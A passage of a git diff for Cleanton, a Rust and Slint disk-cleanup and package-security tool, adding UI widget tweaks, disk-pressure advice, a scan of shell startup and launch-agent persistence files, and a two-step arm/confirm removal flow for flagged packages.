sec-remove-layout.preferred-height; + + sec-remove-layout := HorizontalLayout { + padding: Theme.spacing-sm; + spacing: Theme.spacing-sm; + + FaIcon { + glyph: "\u{f071}"; + icon-color: Theme.palette.danger; + icon-size: Theme.font-size-sm; + width: 18px; + } + + Text { + text: AppState.security-remove-status; + color: Theme.palette.text-primary; + font-size: Theme.font-size-xs; + horizontal-stretch: 1; + vertical-alignment: center; + wrap: word-wrap; + } + + ActionButton { + label: "Cancel"; + icon-glyph: "\u{f00d}"; + primary: false; + clicked => { AppCallbacks.security-cancel-remove(); } + } + } + } + Text { text: AppState.security-known-count + " known package(s) unchanged since the baseline are hidden."; color: Theme.palette.text-muted; diff --git a/crates/cleanton-app/ui/widgets.slint b/crates/cleanton-app/ui/widgets.slint index 11cde8b..52a1705 100644 --- a/crates/cleanton-app/ui/widgets.slint +++ b/crates/cleanton-app/ui/widgets.slint @@ -138,6 +138,12 @@ export component Spinner inherits Rectangle { // Invisible (and taking no visual space in the row) when not running: // a static spinner glyph next to a title otherwise never goes away. visible: root.running; + // NOTE (Slint 1.17): a fixed-size element in a layout is placed at the + // START of the cross axis, so a bare Spinner sits at the top of a row (or + // hard left in a column) instead of centred. `cross-axis-self-alignment` + // would fix that for every caller at once, but it arrives in Slint 1.18, + // so each call site centres it instead: either a wrapper `HorizontalLayout + // { alignment: center; }` or a parent with `cross-axis-alignment: center`. Timer { interval: 90ms; @@ -274,6 +280,10 @@ export component ActionButton inherits Rectangle { in property button-color: Theme.palette.accent; in property primary: true; in property enabled: true; + // Destructive actions (removals, confirmations) read as danger even in the + // outlined style: the label, icon and outline are tinted, so a two-step + // removal is never mistaken for an ordinary secondary button. + in property danger: false; callback clicked(); @@ -282,7 +292,9 @@ export component ActionButton inherits Rectangle { // primary white-on-light-gray that was invisible. Enabled look is unchanged. property content-color: !root.enabled ? Theme.palette.text-muted - : (root.primary ? #FFFFFF : Theme.palette.text-secondary); + : (root.primary + ? #FFFFFF + : (root.danger ? Theme.palette.danger : Theme.palette.text-secondary)); height: 38px; min-width: 118px; @@ -291,7 +303,9 @@ export component ActionButton inherits Rectangle { // A disabled button keeps a visible outline so it still reads as a control // on the light theme's pale elevated surface. border-width: !enabled ? 1px : (primary ? 0 : 1px); - border-color: Theme.palette.border; + border-color: root.danger && root.enabled + ? Theme.palette.danger.with-alpha(0.55) + : Theme.palette.border; opacity: enabled ? 1.0 : 0.9; animate background { duration: Theme.anim-fast; } @@ -338,7 +352,15 @@ export component Toggle inherits Rectangle { // Slint rejects `height` alongside min/max, so the pin is the height. min-height: 26px; max-height: 26px; - border-radius: self.height / 2; + // A literal radius, not `self.height / 2`: the switch reads as a capsule in + // every theme, and the knob never renders as a square. + // + // NOTE (Slint 1.17): the 26px track cannot be stretched, so a default + // (cross-axis `stretch`) parent pins it to the TOP of a taller row. Callers + // centre it with `cross-axis-alignment: center` on the row (see + // `SettingsField`); `cross-axis-self-alignment` would let the component do + // it itself but only arrives in Slint 1.18. + border-radius: 13px; background: root.checked ? Theme.palette.accent : Theme.palette.surface-elevated; border-width: 1px; border-color: root.checked ? Theme.palette.accent : Theme.palette.border; @@ -358,12 +380,15 @@ export component Toggle inherits Rectangle { Rectangle { width: 20px; height: 20px; - border-radius: self.height / 2; + border-radius: 10px; y: (parent.height - self.height) / 2; x: root.checked ? parent.width - self.width - 3px : 3px; background: #FFFFFF; border-width: 1px; - border-color: #00000022; + // A white knob on the pale elevated track is invisible in the light + // theme without an outline, so the border is the theme's own border + // colour when the switch is off. + border-color: root.checked ? #00000022 : Theme.palette.border; animate x { duration: Theme.anim-fast; easing: ease-out; } } @@ -474,7 +499,7 @@ export component PlanListRow inherits Rectangle { property is-note: root.kind == 2; property row-h: root.is-group ? 42px : (root.is-note ? 28px : 38px); - // A layout governs height via min/max, NOT the `height` property — so to fully + // A layout governs height via min/max, NOT the `height` property, so to fully // collapse a hidden row (no reserved space) we pin min/max to 0. min-height: root.row-visible ? root.row-h : 0px; max-height: root.row-visible ? root.row-h : 0px; @@ -705,6 +730,10 @@ export component FileRow inherits Rectangle { // a two-step "Trash" affordance moves the item to the Trash after the user // clicks it a second time to confirm. export component SuggestionListRow inherits Rectangle { + // 0 = an individual item (the default), 1 = a duplicate-set header, + // 2 = a muted note. Headers and notes are labels, so they render without + // the Reveal / Trash affordances of an item row. + in property kind: 0; in property title; in property detail; in property size; @@ -715,17 +744,74 @@ export component SuggestionListRow inherits Rectangle { callback arm-delete(); callback confirm-delete(); - min-height: 52px; - max-height: 52px; - background: ta.has-hover ? Theme.palette.surface-elevated : transparent; + // A header is a section label: shorter than an item row and never hovered + // as a clickable target. Pinned via min/max, which is what a layout reads. + min-height: root.kind == 0 ? 52px : 34px; + max-height: root.kind == 0 ? 52px : 34px; + background: root.kind == 0 && ta.has-hover ? Theme.palette.surface-elevated : transparent; border-radius: Theme.radius-sm; ta := TouchArea { - mouse-cursor: pointer; + enabled: root.kind == 0; + mouse-cursor: root.kind == 0 ? pointer : default; clicked => { root.reveal(); } } - HorizontalLayout { + // Duplicate-set header: one line naming the set and what collapsing it + // would free. The copies follow as individual item rows beneath it. + if root.kind == 1: HorizontalLayout { + padding-left: Theme.spacing-md; + padding-right: Theme.spacing-md; + spacing: Theme.spacing-sm; + + Rectangle { + width: RowColumns.icon-col; + FaIcon { + glyph: root.icon-glyph; + icon-color: Theme.palette.text-secondary; + icon-size: Theme.font-size-sm; + x: (parent.width - self.width) / 2; + y: (parent.height - self.height) / 2; + } + } + + Text { + text: root.title; + color: Theme.palette.text-secondary; + font-size: Theme.font-size-xs; + font-weight: 700; + vertical-alignment: center; + horizontal-stretch: 1; + overflow: elide; + } + + Text { + text: root.size; + color: Theme.palette.text-secondary; + font-size: Theme.font-size-xs; + font-weight: 700; + vertical-alignment: center; + horizontal-alignment: right; + min-width: RowColumns.size-col; + } + } + + // Muted note, for example "+3 more copies not listed". + if root.kind == 2: HorizontalLayout { + padding-left: Theme.spacing-md; + padding-right: Theme.spacing-md; + + Text { + text: root.title; + color: Theme.palette.text-muted; + font-size: Theme.font-size-xs; + vertical-alignment: center; + horizontal-stretch: 1; + overflow: elide; + } + } + + if root.kind == 0: HorizontalLayout { padding-left: Theme.spacing-md; padding-right: Theme.spacing-md; spacing: Theme.spacing-sm; @@ -892,7 +978,7 @@ export component PackageListRow inherits Rectangle { } } - // Status chip — shown for every row so the keep/remove model is legible: + // Status chip, shown for every row so the keep/remove model is legible: // kept (green) / removable (danger) / kept-as-dependency (muted). CenteredBadge { width: 116px; @@ -915,7 +1001,7 @@ export component PackageListRow inherits Rectangle { } } -// One row in the Services control panel. Quiet by default — the running status +// One row in the Services control panel. Quiet by default; the running status // dot is the only colour until the destructive Disable action is armed, at // which point it becomes an unmistakable red "Confirm". Protected rows read as // locked (lock icon + "Protected"), never as a greyed-out disabled control. diff --git a/crates/cleanton-engine/src/background.rs b/crates/cleanton-engine/src/background.rs index 2698ab7..fd0c682 100644 --- a/crates/cleanton-engine/src/background.rs +++ b/crates/cleanton-engine/src/background.rs @@ -31,6 +31,7 @@ use std::sync::atomic::{AtomicBool, Ordering}; use std::time::{Duration, SystemTime}; use cleanton_antivirus::{ScanConfig, Scanner, Verdict}; +use cleanton_scanner::VolumeCapacity; use crate::advisories::{AdvisoryDatabase, Ecosystem, PackageSubject}; use crate::security::{self, SecurityTarget, SecurityTargetKind, Severity}; @@ -294,8 +295,7 @@ impl PackageWatcher { kind: ResourceKind::Disk, used_percent, available_bytes: capacity.available_bytes, - suggestion: "Disk is nearly full: run a Cleanton scan and clean caches, or empty the Trash to reclaim trashed space." - .to_owned(), + suggestion: disk_advice(used_percent, &capacity, &home), }); } self.disk_pressure_active = active; @@ -315,8 +315,7 @@ impl PackageWatcher { kind: ResourceKind::Memory, used_percent, available_bytes: memory.available_bytes, - suggestion: "Memory is nearly full: quit memory-heavy apps, or restart the heaviest one. Cleanton does not kill processes or purge memory for you." - .to_owned(), + suggestion: memory_advice(used_percent, memory.available_bytes), }); } self.memory_pressure_active = active; @@ -351,6 +350,134 @@ impl PackageWatcher { } } +/// Entry budget for one disk-relief measurement. A pressure event is +/// edge-triggered (it fires once when the disk fills up, not once per tick), so +/// a one-off walk is affordable — but it must still never become an unbounded +/// traversal of a huge or actively-written cache tree on the watcher thread. +const RELIEF_ENTRY_CAP: usize = 20_000; + +/// Candidates smaller than this are not worth naming in the advice. +const RELIEF_MIN_BYTES: u64 = 64 * 1024 * 1024; + +/// How many reclaimable directories the advice names. +const RELIEF_TOP_N: usize = 3; + +/// Sum a directory against a budget shared by the whole measurement, stopping +/// as soon as it is spent. The figure is therefore a lower bound, which is the +/// safe direction for cleanup advice: it under-promises rather than over-promises. +fn sized_dir(path: &Path, budget: &mut usize) -> u64 { + let mut total = 0_u64; + for entry in walkdir::WalkDir::new(path).follow_links(false).into_iter() { + if *budget == 0 { + break; + } + *budget = budget.saturating_sub(1); + let Ok(entry) = entry else { + continue; + }; + if !entry.file_type().is_file() { + continue; + } + if let Ok(metadata) = entry.metadata() { + total = total.saturating_add(metadata.len()); + } + } + total +} + +/// The largest reclaimable directories under the two user cache conventions, +/// plus the Trash, sorted largest-first and capped at [`RELIEF_TOP_N`]. +/// +/// `~/.Trash` is measured as a single entry rather than per file: emptying it is +/// one action, and that is precisely why it is worth naming. +fn reclaimable_top(home: &Path) -> Vec<(String, u64)> { + let mut budget = RELIEF_ENTRY_CAP; + let mut found: Vec<(String, u64)> = Vec::new(); + for root in [home.join("Library/Caches"), home.join(".cache")] { + let Ok(entries) = std::fs::read_dir(&root) else { + continue; + }; + for entry in entries.flatten() { + if budget == 0 { + break; + } + let path = entry.path(); + if !path.is_dir() { + continue; + } + let name = entry.file_name().to_string_lossy().into_owned(); + let size = sized_dir(&path, &mut budget); + if size >= RELIEF_MIN_BYTES { + found.push((name, size)); + } + } + } + let trash = home.join(".Trash"); + if trash.is_dir() { + let size = sized_dir(&trash, &mut budget); + if size >= RELIEF_MIN_BYTES { + found.push(("Trash".to_owned(), size)); + } + } + found.sort_by(|a, b| b.1.cmp(&a.1).then_with(|| a.0.cmp(&b.0))); + found.truncate(RELIEF_TOP_N); + found +} + +/// Bytes as a short human figure (`18.4 GB`). Local to this module: the engine +/// does not take on a formatting dependency for one string. +fn human_bytes(bytes: u64) -> String { + const UNITS: [&str; 5] = ["B", "KB", "MB", "GB", "TB"]; + #[allow(clippy::cast_precision_loss)] + let mut value = bytes as f64; + let mut unit = 0_usize; + while value >= 1024.0 && unit + 1 < UNITS.len() { + value /= 1024.0; + unit = unit.saturating_add(1); + } + let label = UNITS.get(unit).copied().unwrap_or("TB"); + if unit == 0 || value >= 100.0 { + format!("{value:.0} {label}") + } else { + format!("{value:.1} {label}") + } +} + +/// Advice for a disk-pressure event, naming the biggest reclaimable directories +/// when they can be measured. Falls back to plain guidance when nothing +/// reclaimable is found (or the walk is not affordable right now). +fn disk_advice(used_percent: u8, capacity: &VolumeCapacity, home: &Path) -> String { + let free = human_bytes(capacity.available_bytes); + let mut advice = format!("Disk is {used_percent}% full ({free} available)."); + let top = reclaimable_top(home); + if top.is_empty() { + advice.push_str( + " Run a Cleanton scan to find caches and large files, then empty the Trash: \ + items you have already trashed keep occupying space until it is emptied.", + ); + return advice; + } + let named: Vec = top + .iter() + .map(|(name, size)| format!("{name} ({})", human_bytes(*size))) + .collect(); + advice.push_str(&format!(" Biggest reclaimable right now: {}.", named.join(", "))); + advice.push_str( + " Run a Cleanton scan to review them, then empty the Trash to actually reclaim the space.", + ); + advice +} + +/// Advice for a memory-pressure event. Cleanton reports; it never kills a +/// process or purges memory, and the advice says so. +fn memory_advice(used_percent: u8, available_bytes: u64) -> String { + format!( + "Memory is {used_percent}% used ({} available). Quit or restart the heaviest app; \ + Cleanton never kills processes or purges memory for you.", + human_bytes(available_bytes) + ) +} + /// Investigate one package directory: advisory lookup, lifecycle hooks, and /// a single-directory content scan. fn check_package( @@ -489,6 +616,10 @@ fn package_identity( let (name, version) = security::split_versioned_dir_name(&fallback)?; Some((Ecosystem::Go, name, Some(version))) } + // A persistence file has no manifest and no advisory feed; the content + // engines are the only thing that can judge it, and they run without an + // ecosystem. Returning `None` keeps the watcher from inventing one. + SecurityTargetKind::HostPersistence => None, } } diff --git a/crates/cleanton-engine/src/lib.rs b/crates/cleanton-engine/src/lib.rs index d212c90..07e74c3 100644 --- a/crates/cleanton-engine/src/lib.rs +++ b/crates/cleanton-engine/src/lib.rs @@ -33,9 +33,9 @@ pub use ml::{ pub use orchestrator::{AnalyzedFull, Orchestrator, PipelineResult}; pub use orphans::{DEFAULT_ORPHAN_MIN_AGE_DAYS, ORPHAN_CATEGORY}; pub use security::{ - Assessment, ChangeKind, PackageReport, SecurityFinding, SecurityProgress, SecurityReport, - SecurityScanOptions, SecurityTarget, SecurityTargetKind, SeverityCounts, assess, - change_kind_label, discover_targets, is_benign_context, is_install_context, + Assessment, ChangeKind, PackageReport, SecurityFinding, SecurityProgress, SecurityRemoval, + SecurityReport, SecurityScanOptions, SecurityTarget, SecurityTargetKind, SeverityCounts, + assess, change_kind_label, discover_targets, is_benign_context, is_install_context, lifecycle_script_paths, review_packages, run_security_scan, run_security_scan_with_options, scan_targets, scan_targets_with_options, verdict_corroborated, }; diff --git a/crates/cleanton-engine/src/security.rs b/crates/cleanton-engine/src/security.rs index a1cbfa4..7be1a3b 100644 --- a/crates/cleanton-engine/src/security.rs +++ b/crates/cleanton-engine/src/security.rs @@ -102,6 +102,15 @@ pub enum SecurityTargetKind { /// Extracted modules in the Go module cache (`~/go/pkg/mod`). /// Version-only. GoModuleCache, + /// The machine's own persistence surface: per-user launchd jobs, shell + /// startup files, cron drops, and systemd user units. + /// + /// Not a package tree. These are the files whose only job is to run + /// something again later, and they are where a worm's second half lives + /// after its payload has been cleaned up. Each file becomes its own + /// candidate so a flagged `.zshrc` is attributed to `.zshrc` rather than to + /// the home directory. + HostPersistence, } impl SecurityTargetKind { @@ -116,6 +125,7 @@ impl SecurityTargetKind { Self::RubyGems => "installed gems", Self::CargoRegistry => "Cargo registry cache", Self::GoModuleCache => "Go module cache", + Self::HostPersistence => "host persistence files", } } @@ -137,6 +147,48 @@ pub struct SecurityTarget { pub root: PathBuf, } +/// How Cleanton may remove a flagged package, if at all. +/// +/// A removal is always user-initiated and always two-step (arm, then confirm). +/// This enum is the SHARED policy behind that control, so the Slint app and the +/// TUI offer exactly the same action with the same wording and the same guard +/// rails, and neither one can invent a removal path of its own. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum SecurityRemoval { + /// Uninstall through npm's own CLI, which keeps npm's metadata consistent. + Npm, + /// Uninstall through pip's own CLI, for the same reason. + Pip, + /// No package manager owns it: move the package directory to the Trash + /// through the executor's reviewed trash path. + Trash, + /// Cleanton must not remove it. A host persistence file is the user's own + /// file, and the remedy is to delete one line, not the file. + NotRemovable, +} + +impl SecurityRemoval { + /// The button verb for this removal (`"Uninstall"` / `"Remove"`). + #[must_use] + pub const fn verb(self) -> &'static str { + match self { + Self::Npm | Self::Pip => "Uninstall", + Self::Trash | Self::NotRemovable => "Remove", + } + } + + /// The command this removal runs, advisory copy shown to the user before + /// they confirm. `None` for a Trash move, which is not a shell command. + #[must_use] + pub fn command(self, name: &str) -> Option { + match self { + Self::Npm => Some(format!("npm uninstall -g {name}")), + Self::Pip => Some(format!("pip uninstall -y {name}")), + Self::Trash | Self::NotRemovable => None, + } + } +} + // ── Report model ───────────────────────────────────────────────────────────── /// How a package relates to the trusted baseline. Ordering of the variants is @@ -667,6 +719,49 @@ impl PackageReport { } } + /// How Cleanton may remove this package. See [`SecurityRemoval`]. + #[must_use] + pub fn removal(&self) -> SecurityRemoval { + match self.source { + SecurityTargetKind::NodeGlobal => SecurityRemoval::Npm, + SecurityTargetKind::PythonSitePackages => SecurityRemoval::Pip, + SecurityTargetKind::HostPersistence => SecurityRemoval::NotRemovable, + SecurityTargetKind::NodeProject + | SecurityTargetKind::EditorExtensions + | SecurityTargetKind::RubyGems + | SecurityTargetKind::CargoRegistry + | SecurityTargetKind::GoModuleCache => SecurityRemoval::Trash, + } + } + + /// Whether this row may offer a Remove control at all. Persistence files are + /// the user's own files, so they are deliberately excluded. + #[must_use] + pub fn is_removable(&self) -> bool { + !matches!(self.removal(), SecurityRemoval::NotRemovable) + } + + /// What the armed removal will actually do, spelled out for the confirmation + /// panel before the user commits. Shared so both UIs say the same thing. + #[must_use] + pub fn removal_explanation(&self) -> String { + let name = self.name.as_str(); + let version = self.version.as_deref().unwrap_or(""); + let path = self.path.display(); + match self.removal() { + SecurityRemoval::Npm => format!( + "Run `npm uninstall -g {name}` to remove it (version {version}). npm removes the package directory itself." + ), + SecurityRemoval::Pip => format!( + "Run `pip uninstall -y {name}` to remove it (version {version}). pip removes the package directory itself." + ), + SecurityRemoval::Trash => format!( + "No installed package manager owns this package, so {path} will be moved to the Trash. Recover it from the Trash until you empty it." + ), + SecurityRemoval::NotRemovable => String::new(), + } + } + /// A copy-pasteable command the USER can run in their own shell to remove /// (alerts) or reinstall from a trusted source (tampers) this package with /// its package manager. ADVISORY ONLY — Cleanton never runs it. `None` @@ -730,6 +825,13 @@ impl PackageReport { SecurityTargetKind::CargoRegistry | SecurityTargetKind::GoModuleCache => { return None; } + // A persistence file is the user's own file, not an installed + // package: there is no manager to uninstall it with, and trashing a + // `.zshrc` to fix one line would be the wrong remedy. Cleanton + // surfaces it and leaves the edit to the user. + SecurityTargetKind::HostPersistence => { + return None; + } }; Some(cmd) } @@ -780,6 +882,8 @@ impl PackageReport { lines.push("Reinstall from a trusted source to restore known-good bytes:".to_owned()); if let Some(cmd) = self.suggested_command() { lines.push(format!("$ {cmd}")); + } else if self.source == SecurityTargetKind::HostPersistence { + lines.push(PERSISTENCE_REMEDY.to_owned()); } } else if self.is_alert() { lines.push( @@ -789,10 +893,15 @@ impl PackageReport { if let Some(file) = self.primary_evidence_file() { lines.push(format!("Inspect first: {}", join_rel(&self.path, file))); } - lines - .push("If you did not expect this, remove it with its package manager:".to_owned()); - if let Some(cmd) = self.suggested_command() { - lines.push(format!("$ {cmd}")); + if self.source == SecurityTargetKind::HostPersistence { + lines.push(PERSISTENCE_REMEDY.to_owned()); + } else { + lines.push( + "If you did not expect this, remove it with its package manager:".to_owned(), + ); + if let Some(cmd) = self.suggested_command() { + lines.push(format!("$ {cmd}")); + } } } else { lines.push( @@ -1482,6 +1591,28 @@ pub fn discover_default_targets() -> Vec { home.join("go/pkg/mod"), ); + // Host persistence. Unlike the entries above these are FILE targets: the + // roots are scanned for persistence-shaped files by + // `enumerate_host_persistence`, never walked as package trees. The home + // directory is one of the roots because that is where the shell startup + // files live; only the handful of names in `PERSISTENCE_FILE_NAMES` is + // picked out of it. + push_if_dir( + &mut targets, + SecurityTargetKind::HostPersistence, + home.join("Library/LaunchAgents"), + ); + push_if_dir( + &mut targets, + SecurityTargetKind::HostPersistence, + home.join(".config/systemd/user"), + ); + push_if_dir( + &mut targets, + SecurityTargetKind::HostPersistence, + home.clone(), + ); + targets } @@ -1887,6 +2018,90 @@ fn push_go_package(dir: &Path, out: &mut Vec) { }); } +/// Advice shown instead of a package-manager command when a *persistence file* +/// is flagged. There is nothing to uninstall: the file is the user's own, and +/// the fix is to delete the one line that was added, not the file. +const PERSISTENCE_REMEDY: &str = \ + "This file is yours, not a package: open it, delete the flagged line, and \ + mark it reviewed. Do not delete the whole file."; + +/// Shell startup files whose basename marks them as per-login/per-shell hooks. +/// Kept in step with the antivirus persistence engine, which is what recognises +/// the same paths inside a scanned package. +const PERSISTENCE_FILE_NAMES: &[&str] = &[ + ".zshrc", + ".zprofile", + ".zlogin", + ".zshenv", + ".bashrc", + ".bash_profile", + ".bash_login", + ".profile", + ".login", +]; + +/// Which flavour of persistence file a `HostPersistence` root holds, decided by +/// the root itself rather than by the files in it. That is what keeps the +/// home-directory root from turning into a home-directory scan: `~` yields only +/// the shell startup files, `~/Library/LaunchAgents` only its job definitions. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum PersistenceRoot { + /// `~/Library/LaunchAgents` — every `*.plist` is a job definition. + LaunchAgents, + /// `~/.config/systemd/user` — every `*.service` is a unit. + SystemdUser, + /// `$HOME` — only the startup files in [`PERSISTENCE_FILE_NAMES`]. + ShellStartup, +} + +impl PersistenceRoot { + fn of(root: &Path) -> Self { + let lower = root.to_string_lossy().to_ascii_lowercase(); + if lower.contains("library/launchagents") || lower.contains("library/launchdaemons") { + Self::LaunchAgents + } else if lower.contains("systemd/user") { + Self::SystemdUser + } else { + Self::ShellStartup + } + } +} + +/// Enumerate the persistence files directly inside a `HostPersistence` target +/// root. The roots are shallow by construction, so this is a single +/// non-recursive read: at most a few dozen entries for the launchd and systemd +/// roots, and only the ten names in [`PERSISTENCE_FILE_NAMES`] for `$HOME`. +fn enumerate_host_persistence(target: &SecurityTarget, out: &mut Vec) { + let kind = PersistenceRoot::of(&target.root); + let Ok(entries) = std::fs::read_dir(&target.root) else { + return; + }; + for entry in entries.flatten() { + let path = entry.path(); + let Some(name) = path.file_name().map(|n| n.to_string_lossy().into_owned()) else { + continue; + }; + let lower = name.to_ascii_lowercase(); + let wanted = match kind { + PersistenceRoot::LaunchAgents => lower.ends_with(".plist"), + PersistenceRoot::SystemdUser => lower.ends_with(".service"), + PersistenceRoot::ShellStartup => PERSISTENCE_FILE_NAMES.contains(&lower.as_str()), + }; + if !wanted || !path.is_file() { + continue; + } + out.push(PackageCandidate { + name, + version: None, + display_path: path.clone(), + scan_path: path, + source: SecurityTargetKind::HostPersistence, + ecosystem: None, + }); + } + out.sort_by(|a, b| a.display_path.cmp(&b.display_path)); +} + /// All distinct packages across the targets. Identical resolved paths (e.g. a /// pnpm symlink farm pointing at one store dir) are scanned once. fn enumerate_packages(targets: &[SecurityTarget]) -> Vec { @@ -1904,6 +2119,9 @@ fn enumerate_packages(targets: &[SecurityTarget]) -> Vec { SecurityTargetKind::RubyGems => enumerate_ruby_packages(target, &mut packages), SecurityTargetKind::CargoRegistry => enumerate_cargo_packages(target, &mut packages), SecurityTargetKind::GoModuleCache => enumerate_go_packages(target, &mut packages), + SecurityTargetKind::HostPersistence => { + enumerate_host_persistence(target, &mut packages); + } } } let mut seen: HashSet = HashSet::new(); diff --git a/crates/cleanton-recipes/src/builtin.rs b/crates/cleanton-recipes/src/builtin.rs index d057813..7e0312d 100644 --- a/crates/cleanton-recipes/src/builtin.rs +++ b/crates/cleanton-recipes/src/builtin.rs @@ -363,6 +363,10 @@ pub(crate) const BUILTIN_RECIPES: &[(&str, &str)] = &[ "recipes/node-puppeteer-cache.toml", include_str!("../../../recipes/node-puppeteer-cache.toml"), ), + ( + "recipes/node-bundler-caches.toml", + include_str!("../../../recipes/node-bundler-caches.toml"), + ), ( "recipes/node-cypress-cache.toml", include_str!("../../../recipes/node-cypress-cache.toml"), @@ -559,8 +563,52 @@ pub(crate) const BUILTIN_RECIPES: &[(&str, &str)] = &[ "recipes/browser-safari-cache.toml", include_str!("../../../recipes/browser-safari-cache.toml"), ), + ( + "recipes/browser-edge-http-cache.toml", + include_str!("../../../recipes/browser-edge-http-cache.toml"), + ), + ( + "recipes/browser-brave-http-cache.toml", + include_str!("../../../recipes/browser-brave-http-cache.toml"), + ), + ( + "recipes/browser-vivaldi-http-cache.toml", + include_str!("../../../recipes/browser-vivaldi-http-cache.toml"), + ), ( "recipes/apps-steam-shader-cache.toml", include_str!("../../../recipes/apps-steam-shader-cache.toml"), ), + ( + "recipes/apps-discord-cache.toml", + include_str!("../../../recipes/apps-discord-cache.toml"), + ), + ( + "recipes/system-thumbnail-cache.toml", + include_str!("../../../recipes/system-thumbnail-cache.toml"), + ), + ( + "recipes/system-security-scanner-caches.toml", + include_str!("../../../recipes/system-security-scanner-caches.toml"), + ), + ( + "recipes/system-package-manager-caches.toml", + include_str!("../../../recipes/system-package-manager-caches.toml"), + ), + ( + "recipes/helm-kubernetes-caches.toml", + include_str!("../../../recipes/helm-kubernetes-caches.toml"), + ), + ( + "recipes/firebase-emulator-cache.toml", + include_str!("../../../recipes/firebase-emulator-cache.toml"), + ), + ( + "recipes/nim-cache.toml", + include_str!("../../../recipes/nim-cache.toml"), + ), + ( + "recipes/ocaml-dune-cache.toml", + include_str!("../../../recipes/ocaml-dune-cache.toml"), + ), ]; diff --git a/crates/cleanton-ui/src/app.rs b/crates/cleanton-ui/src/app.rs index 57dab6e..00bbce6 100644 --- a/crates/cleanton-ui/src/app.rs +++ b/crates/cleanton-ui/src/app.rs @@ -196,6 +196,13 @@ pub struct App { pub security_progress: (usize, usize), /// Cursor into `security_report.flagged`. pub security_selected: usize, + /// Two-step removal armed for one flagged row: `[r]` arms, `[y]` runs, + /// `[n]` cancels. Holds the armed row's index so moving the cursor disarms. + /// Mirrors the Slint Security tab's arm/confirm pair; the policy itself + /// lives in `PackageReport::removal()` so the two UIs cannot disagree. + pub security_pending_remove: Option, + /// A removal is in flight; the row controls are disabled until it returns. + pub security_removing: bool, /// Monotonic scan generation; stale background results are discarded. pub security_scan_id: u64, /// Cooperative cancellation for the in-flight security scan. @@ -291,6 +298,8 @@ impl App { security_scanning: false, security_progress: (0, 0), security_selected: 0, + security_pending_remove: None, + security_removing: false, security_scan_id: 0, security_cancel: Arc::new(AtomicBool::new(false)), execution_progress: 0.0, diff --git a/crates/cleanton-ui/src/lib.rs b/crates/cleanton-ui/src/lib.rs index 87cba39..a87a524 100644 --- a/crates/cleanton-ui/src/lib.rs +++ b/crates/cleanton-ui/src/lib.rs @@ -53,7 +53,7 @@ use std::time::{Duration, Instant}; use tokio::sync::mpsc; use cleanton_common::{ActionType, CleantonConfig, CleanupPlan, ExecutionResult}; -use cleanton_engine::{AnalyzedFull, EngineEvent, ScanSummary}; +use cleanton_engine::{AnalyzedFull, EngineEvent, ScanSummary, SecurityRemoval}; use cleanton_packages::{ ActionOutcome, Inventory, ManagerKind, PackageManagers, plan_removal, scan_usage, }; @@ -166,6 +166,12 @@ pub enum TuiEvent { scan_id: u64, report: Box, }, + /// A user-confirmed security removal finished. `outcome` carries the + /// human-readable result on success and the reason on failure. + SecurityRemoveFinished { + name: String, + outcome: Result, + }, } #[must_use] @@ -701,6 +707,20 @@ async fn run_tui_async( app.security_report = Some(*report); } } + TuiEvent::SecurityRemoveFinished { name, outcome } => { + app.security_removing = false; + match outcome { + Ok(detail) => { + app.set_status(&format!("{name}: {detail}")); + // Refresh so the removed package stops showing as a + // finding and the baseline reflects the new set. + app.security_pending_remove = None; + app.security_report = None; + trigger_security_scan(&mut app, &tui_tx, false); + } + Err(err) => app.set_status(&format!("Could not remove {name}: {err}")), + } + } } } } @@ -1112,9 +1132,25 @@ async fn handle_key_event( crossterm::event::KeyCode::Char('T') if !app.security_scanning => { trust_all_security_packages(app); } + // Two-step removal, mirroring the Slint Security tab: [r] arms, + // [y] runs, [n] cancels. Nothing destructive happens on [r]. + crossterm::event::KeyCode::Char('r') + if !app.security_scanning && !app.security_removing => + { + arm_security_removal(app); + } + crossterm::event::KeyCode::Char('y') if app.security_pending_remove.is_some() => { + confirm_security_removal(app, tui_tx); + } + crossterm::event::KeyCode::Char('n') if app.security_pending_remove.is_some() => { + cancel_security_removal(app); + } crossterm::event::KeyCode::Up => { if app.security_selected > 0 { app.security_selected -= 1; + // Moving the cursor disarms: only the row you are + // looking at can be removed. + app.security_pending_remove = None; } } crossterm::event::KeyCode::Down => { @@ -1124,6 +1160,7 @@ async fn handle_key_event( .map_or(0, |report| report.flagged.len()); if app.security_selected + 1 < count { app.security_selected += 1; + app.security_pending_remove = None; } } crossterm::event::KeyCode::Char('x') if app.security_scanning => { @@ -1610,6 +1647,131 @@ fn trust_selected_security_package(app: &mut App) { } } +/// Arm the two-step removal for the selected flagged package. NOTHING runs +/// here: the status bar spells out what `[y]` would do and `[n]` disarms. +/// Mirrors the Slint Security tab's arm/confirm pair. +fn arm_security_removal(app: &mut App) { + if app.security_scanning || app.security_removing { + return; + } + let Some(report) = app.security_report.as_ref() else { + app.set_status("Nothing to remove: run a scan first."); + return; + }; + let Some(package) = report.flagged.get(app.security_selected) else { + app.set_status("Nothing selected to remove."); + return; + }; + if !package.is_removable() { + // A host persistence file is the user's own file. The remedy is to + // delete one line, not to delete the file, so Cleanton refuses. + app.set_status( + "This is your own startup file, not a package: open it and delete the flagged line. \ + Cleanton will not remove it.", + ); + return; + } + let display = package.display_name(); + let verb = package.removal().verb(); + let explanation = package.removal_explanation(); + app.security_pending_remove = Some(app.security_selected); + app.set_status(&format!( + "Confirm: {verb} {display}? {explanation} Press y to proceed, n to cancel." + )); +} + +/// Disarm an armed removal; nothing has run. +fn cancel_security_removal(app: &mut App) { + app.security_pending_remove = None; + app.set_status("Removal cancelled. Nothing was changed."); +} + +/// Run the armed removal: the package manager's own uninstaller when one owns +/// the package (so the manager's metadata stays consistent), otherwise the +/// executor's reviewed single-path Trash move. Same two paths the Slint app +/// uses, and never a bare `std::fs::remove_*`. +fn confirm_security_removal(app: &mut App, tx: &mpsc::Sender) { + let Some(armed) = app.security_pending_remove.take() else { + return; + }; + if app.security_removing { + return; + } + // The armed row must still be the selected one; a moved cursor disarms. + if armed != app.security_selected { + app.set_status("Selection changed; removal cancelled. Press r on the row you want."); + return; + } + let Some(package) = app + .security_report + .as_ref() + .and_then(|report| report.flagged.get(armed)) + else { + return; + }; + if !package.is_removable() { + app.set_status("This package cannot be removed by Cleanton."); + return; + } + let removal = package.removal(); + let name = package.display_name(); + let package_name = package.name.clone(); + let path = package.path.clone(); + + app.security_removing = true; + app.set_status(&format!("{} {name}...", removal.verb())); + + let orchestrator = app.orchestrator.clone(); + let tx = tx.clone(); + tokio::spawn(async move { + let outcome: Result = 